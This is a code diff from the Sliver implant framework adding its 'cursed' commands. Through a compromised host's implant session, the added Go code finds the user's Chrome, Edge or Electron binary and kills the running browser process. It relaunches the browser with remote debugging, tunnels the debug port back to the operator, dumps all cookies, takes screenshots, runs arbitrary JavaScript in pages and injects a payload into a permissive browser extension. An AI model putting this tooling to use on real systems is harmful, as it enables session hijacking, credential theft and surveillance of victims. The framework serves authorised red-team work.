+			Request: con.ActiveTarget.Request(ctx),
+			Path:    userDataDir,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return userDataDir, nil
+		}
+		return "", ErrUserDataDirNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	exeFlag := ctx.Flags.String("exe")
+	if exeFlag != "" {
+		return exeFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		chromeWindowsPaths := []string{
+			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
+		}
+		if isEdge {
+			chromeWindowsPaths = []string{
+				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
+			}
+		}
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			for _, chromePath := range chromeWindowsPaths {
+				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
+				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
+				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+					Request: con.ActiveTarget.Request(ctx),
+					Path:    chromeExecutablePath,
+				})
+				if err != nil {
+					return "", err
+				}
+				if ls.GetExists() {
+					return chromeExecutablePath, nil
+				}
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "darwin":
+		// AFAIK Chrome only installs to this path on macOS
+		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
+		if isEdge {
+			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    defaultChromePath,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return defaultChromePath, nil
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "linux":
+		chromeLinuxPaths := []string{
+			"/usr/bin/google-chrome",
+			"/usr/bin/chromium-browser",
+			"/usr/local/bin/google-chrome",
+			"/usr/local/bin/chromium-browser",
+		}
+		if isEdge {
+			chromeLinuxPaths = []string{
+				"/usr/bin/microsoft-edge",
+				"/usr/local/bin/microsoft-edge",
+			}
+		}
+		for _, chromePath := range chromeLinuxPaths {
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    chromePath,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return chromePath, nil
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func isChromeProcess(executable string) bool {
+	var chromeProcessNames = []string{
+		"chrome",           // Linux
+		"google-chrome",    // Linux
+		"chromium-browser", // Linux
+		"chrome.exe",       // Windows
+		"Google Chrome",    // Darwin
+	}
+	for _, suffix := range chromeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-console.go

@@ -0,0 +1,183 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+	"github.com/desertbit/readline"
+)
+
+func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
+	startCursedConsole(curse, true, target, con)
+}
+
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+	if len(targets) < 1 {
+		con.PrintErrorf("No debug targets\n")
+		return nil
+	}
+
+	id2target := map[string]overlord.ChromeDebugTarget{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, target := range targets {
+		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
+		id2target[target.ID] = target
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a debug target:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedID := strings.Split(selected, " ")[0]
+	selectedTarget := id2target[selectedID]
+	return &selectedTarget
+}
+
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+	tmpFile, _ := ioutil.TempFile("", "cursed")
+	reader, err := readline.NewEx(&readline.Config{
+		Prompt:      "\033[31mcursed »\033[0m ",
+		HistoryFile: tmpFile.Name(),
+		// AutoComplete:    nil,
+		InterruptPrompt:   "^C",
+		EOFPrompt:         "exit",
+		HistorySearchFold: true,
+		// FuncFilterInputRune: filterInput,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create read line: %s\n", err)
+		return
+	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
+	for {
+		line, err := reader.Readline()
+		if err == readline.ErrInterrupt {
+			if len(line) == 0 {
+				break
+			} else {
+				continue
+			}
+		} else if err == io.EOF {
+			break
+		}
+		switch strings.TrimSpace(line) {
+
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := ioutil.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
+		case "exit":
+			return
+
+		default:
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+		}
+	}
+}

client/command/cursed/cursed-cookies.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}

client/command/cursed/cursed-edge.go

@@ -0,0 +1,170 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraEdge(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Edge extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Edge extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if edgeProcess != nil {
+		con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     edgeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(true, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func isEdgeProcess(executable string) bool {
+	var edgeProcessNames = []string{
+		"msedge",         // Linux
+		"microsoft-edge", // Linux
+		"msedge.exe",     // Windows
+		"Microsoft Edge", // Darwin
+	}
+	for _, suffix := range edgeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isEdgeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-electron.go

@@ -0,0 +1,233 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"log"
+	insecureRand "math/rand"
+	"path"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	electronExe := ctx.Flags.String("exe")
+	if electronExe == "" {
+		con.PrintErrorf("Missing --exe flag, see --help\n")
+		return
+	}
+
+	curse := avadaKedavraElectron(electronExe, session, ctx, con)
+	if curse == nil {
+		return
+	}
+	con.PrintInfof("Checking for debug targets ...")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	if len(targets) == 0 {
+		con.PrintErrorf("Zero debug targets found\n")
+		return
+	}
+	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
+}
+
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return nil
+	}
+	if !exists {
+		con.PrintErrorf("Executable path does not exist: %s", electronExe)
+		return nil
+	}
+	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if electronProcess != nil {
+		con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
+		con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     electronProcess.Pid,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+	})
+	if err != nil {
+		return false, err
+	}
+	return ls.GetExists(), nil
+}
+
+func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
+
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
+	debugPort := getRemoteDebuggerPort(ctx)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    electronExe,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
+
+	con.PrintInfof("Waiting for process to initialize ... ")
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:   session.ID,
+		PID:         electronExec.GetPid(),
+		PortFwd:     portFwd,
+		BindTCPPort: bindPort,
+		Platform:    session.GetOS(),
+		ExePath:     electronExe,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-rm.go

@@ -0,0 +1,75 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	kill := ctx.Flags.Bool("kill")
+	bindPort := ctx.Args.Int("bind-port")
+	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
+	if kill {
+		confirm := false
+		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s", err)
+			return
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return
+		}
+		// Get cursed process
+		var cursedProc *core.CursedProcess
+		curses := core.CursedProcessBySessionID(session.ID)
+		for _, curse := range curses {
+			if curse.BindTCPPort == bindPort {
+				cursedProc = curse
+			}
+		}
+		if cursedProc == nil {
+			con.PrintErrorf("Failed to find cursed process\n")
+			return
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     int32(cursedProc.PID),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return
+		}
+	}
+}

client/command/cursed/cursed-screenshot.go

@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
+	quality := ctx.Flags.Int64("quality")
+	if quality < 1 || quality > 100 {
+		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
+		return
+	}
+	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
+	if err != nil {
+		con.PrintErrorf("Failed to take screenshot: %s\n", err)
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
+	}
+	err = ioutil.WriteFile(saveFile, data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to save screenshot: %s\n", err)
+		return
+	}
+	con.PrintInfof("Screenshot saved to %s\n", saveFile)
+}

client/command/cursed/cursed.go

@@ -0,0 +1,121 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	insecureRand "math/rand"
+	"strconv"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Collect existing curses from core
+	cursedProcesses := [][]string{}
+	core.CursedProcesses.Range(func(key, value interface{}) bool {
+		curse := value.(*core.CursedProcess)
+		cursedProcesses = append(cursedProcesses, []string{
+			fmt.Sprintf("%d", curse.BindTCPPort),
+			strings.Split(curse.SessionID, "-")[0],
+			fmt.Sprintf("%d", curse.PID),
+			curse.Platform,
+			curse.ExePath,
+			curse.DebugURL().String(),
+		})
+		return true
+	})
+	// Display table if we have 1 or more curses
+	if 0 < len(cursedProcesses) {
+		tw := table.NewWriter()
+		tw.SetStyle(settings.GetTableStyle(con))
+		tw.AppendHeader(table.Row{
